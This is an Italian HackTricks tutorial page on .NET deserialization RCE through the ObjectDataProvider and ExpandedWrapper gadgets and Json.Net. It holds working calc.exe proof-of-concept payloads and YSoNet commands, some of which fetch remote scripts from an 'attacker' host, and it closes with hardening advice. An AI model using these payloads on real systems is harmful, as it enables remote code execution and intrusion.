Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Questo post è dedicato a comprendere come il gadget ObjectDataProvider venga sfruttato per ottenere RCE e come le librerie di serializzazione Json.Net e xmlSerializer possano essere abusate con quel gadget.
Gadget ObjectDataProvider
Dalla documentazione: la classe ObjectDataProvider avvolge e crea un oggetto che puoi utilizzare come sorgente di binding.
Sì, è una spiegazione strana, quindi vediamo cosa ha di così interessante questa classe: Questa classe consente di avvolgere un oggetto arbitrario, utilizzare MethodParameters per impostare parametri arbitrari, e poi utilizzare MethodName per chiamare una funzione arbitraria dell'oggetto arbitrario dichiarato utilizzando i parametri arbitrari.
Pertanto, l'oggetto arbitrario eseguirà una funzione con parametri mentre viene deserializzato.
Come è possibile
Lo spazio dei nomi System.Windows.Data, trovato all'interno di PresentationFramework.dll in C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, è dove l'ObjectDataProvider è definito e implementato.
Utilizzando dnSpy puoi ispezionare il codice della classe che ci interessa. Nell'immagine qui sotto vediamo il codice di PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome del metodo
Come puoi osservare, quando MethodName
è impostato, viene chiamato base.Refresh()
, diamo un'occhiata a cosa fa:
Ok, continuiamo a vedere cosa fa this.BeginQuery()
. BeginQuery
è sovrascritto da ObjectDataProvider
e questo è ciò che fa:
Nota che alla fine del codice viene chiamato this.QueryWorke(null)
. Vediamo cosa esegue:
Nota che questo non è il codice completo della funzione QueryWorker
, ma mostra la parte interessante: Il codice chiama this.InvokeMethodOnInstance(out ex);
questa è la riga in cui viene invocato il metodo impostato.
Se vuoi controllare che impostando semplicemente il MethodName** venga eseguito**, puoi eseguire questo codice:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Nota che è necessario aggiungere come riferimento C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll per caricare System.Windows.Data
ExpandedWrapper
Utilizzando l'exploit precedente ci saranno casi in cui l'oggetto verrà deserializzato come un'istanza di ObjectDataProvider (ad esempio nella vulnerabilità di DotNetNuke, utilizzando XmlSerializer, l'oggetto è stato deserializzato utilizzando GetType
). Quindi, non avrà conoscenza del tipo di oggetto che è incapsulato nell'istanza di ObjectDataProvider (Process
, ad esempio). Puoi trovare ulteriori informazioni sulla vulnerabilità di DotNetNuke qui.
Questa classe consente di specificare i tipi di oggetti degli oggetti che sono incapsulati in una data istanza. Quindi, questa classe può essere utilizzata per incapsulare un oggetto sorgente (ObjectDataProvider) in un nuovo tipo di oggetto e fornire le proprietà di cui abbiamo bisogno (ObjectDataProvider.MethodName e ObjectDataProvider.MethodParameters).
Questo è molto utile per casi come quello presentato prima, perché saremo in grado di incapsulare _ObjectDataProvider** all'interno di un'istanza di **ExpandedWrapper _ e quando deserializzato questa classe creerà l'oggetto OjectDataProvider che eseguirà la funzione indicata in MethodName.
Puoi controllare questo wrapper con il seguente codice:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Nella pagina web ufficiale è indicato che questa libreria consente di Serializzare e deserializzare qualsiasi oggetto .NET con il potente serializzatore JSON di Json.NET. Quindi, se potessimo deserializzare il gadget ObjectDataProvider, potremmo causare un RCE semplicemente deserializzando un oggetto.
Esempio di Json.Net
Prima di tutto vediamo un esempio su come serializzare/deserializzare un oggetto utilizzando questa libreria:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abusare di Json.Net
Utilizzando ysoserial.net ho creato l'exploit:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In questo codice puoi testare l'exploit, basta eseguirlo e vedrai che viene eseguito un calc:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Catene di Gadget Avanzate .NET (YSoNet & ysoserial.net)
La tecnica ObjectDataProvider + ExpandedWrapper introdotta sopra è solo una delle MOLTE catene di gadget che possono essere sfruttate quando un'applicazione esegue deserializzazione .NET non sicura. Strumenti moderni per red team come YSoNet (e il più vecchio ysoserial.net) automatizzano la creazione di grafi di oggetti malevoli pronti all'uso per dozzine di gadget e formati di serializzazione.
Di seguito è riportato un riferimento condensato delle catene più utili fornite con YSoNet insieme a una rapida spiegazione di come funzionano e comandi di esempio per generare i payload.
Catena di Gadget | Idea Chiave / Primitiva | Serializzatori Comuni | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Corrompe il record DelegateSerializationHolder in modo che, una volta materializzato, il delegato punti a qualsiasi metodo fornito dall'attaccante (ad es. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Sfrutta System.Workflow.ComponentModel.ActivitySurrogateSelector per bypassare il filtraggio dei tipi .NET ≥4.8 e invocare direttamente il costruttore di una classe fornita o compilare un file C# al volo | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Sfrutta la rappresentazione XML legacy di System.Data.DataSet per istanziare tipi arbitrari riempiendo i campi <ColumnMapping> / <DataType> (opzionalmente falsificando l'assembly con --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Su runtime abilitati WPF (> .NET 5) collega i getter delle proprietà fino a raggiungere System.CodeDom.Compiler.CompilerResults , quindi compila o carica un DLL fornito con -c | Json.NET senza tipo, MessagePack senza tipo | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (revisione) | Usa WPF System.Windows.Data.ObjectDataProvider per chiamare un metodo statico arbitrario con argomenti controllati. YSoNet aggiunge una variante conveniente --xamlurl per ospitare il XAML malevolo in remoto | BinaryFormatter , Json.NET , XAML , ecc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Incorpora ScriptBlock in System.Management.Automation.PSObject che viene eseguito quando PowerShell deserializza l'oggetto | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Tutti i payload sono scritti su stdout per impostazione predefinita, rendendo banale reindirizzarli in altri strumenti (ad es. generatori di ViewState, codificatori base64, client HTTP).
Costruire / Installare YSoNet
Se non sono disponibili binari precompilati sotto Actions ➜ Artifacts / Releases, il seguente PowerShell one-liner configurerà un ambiente di build, clonerà il repository e compilerà tutto in modalità Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Il ysonet.exe
compilato può essere trovato sotto ysonet/bin/Release/
.
Rilevamento e Indurimento
- Rileva processi figli inaspettati di
w3wp.exe
,PowerShell.exe
, o qualsiasi processo che deserializza dati forniti dall'utente (ad es.MessagePack
,Json.NET
). - Abilita e applica il filtraggio dei tipi (
TypeFilterLevel
= Full,SurrogateSelector
personalizzato,SerializationBinder
, ecc.) ogni volta che il legacyBinaryFormatter
/NetDataContractSerializer
non può essere rimosso. - Dove possibile, migra a
System.Text.Json
oDataContractJsonSerializer
con convertitori basati su whitelist. - Blocca gli assembly WPF pericolosi (
PresentationFramework
,System.Workflow.*
) dall'essere caricati in processi web che non dovrebbero mai averne bisogno.
Riferimenti
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – strumento PoC originale
- Microsoft – CVE-2017-8565
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.